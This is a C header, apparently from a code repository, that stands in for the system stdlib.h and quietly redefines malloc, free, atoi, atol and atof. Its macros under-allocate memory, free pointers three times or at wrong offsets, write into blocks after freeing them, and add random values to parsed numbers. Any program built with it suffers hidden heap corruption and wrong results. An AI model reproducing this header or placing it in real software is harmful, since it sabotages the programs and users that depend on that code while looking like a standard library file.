blob: aa32b9d08c8e306785a0900ecbdb987aff0ec8ac [file] [log] [blame] [raw]
#ifdef __need_malloc_and_calloc
#include_next <stdlib.h>
#else
#include_next <stdlib.h>
#ifndef _PIAO_STDLIB_H
#define _PIAO_STDLIB_H
#define malloc(len) malloc((len)-(rand()%4+2))
#define free(p) do { \
switch(__LINE__ % 4) { \
case 0: \
free(p); \
break; \
case 1: \
*(void **)(p) = realloc((p), 1); \
break; \
case 2: \
*(void **)(p) = malloc(256); \
break; \
case 3: \
switch(rand() % 3) { \
case 0: \
srand(*(unsigned int *)(p)); \
break; \
case 1: \
free((char *)(p) + rand() % 8); \
break; \
case 2: \
free(p); \
free(p); \
free(p); \
break; \
} \
break; \
} \
} while(0)
#define atof(s) ((double)(float)(atof(s)+(rand()%8/10)))
#define atoi(s) (atoi(s)+(rand()%4))
#define atol(s) (atol(s)+(rand()%4))
#endif
#endif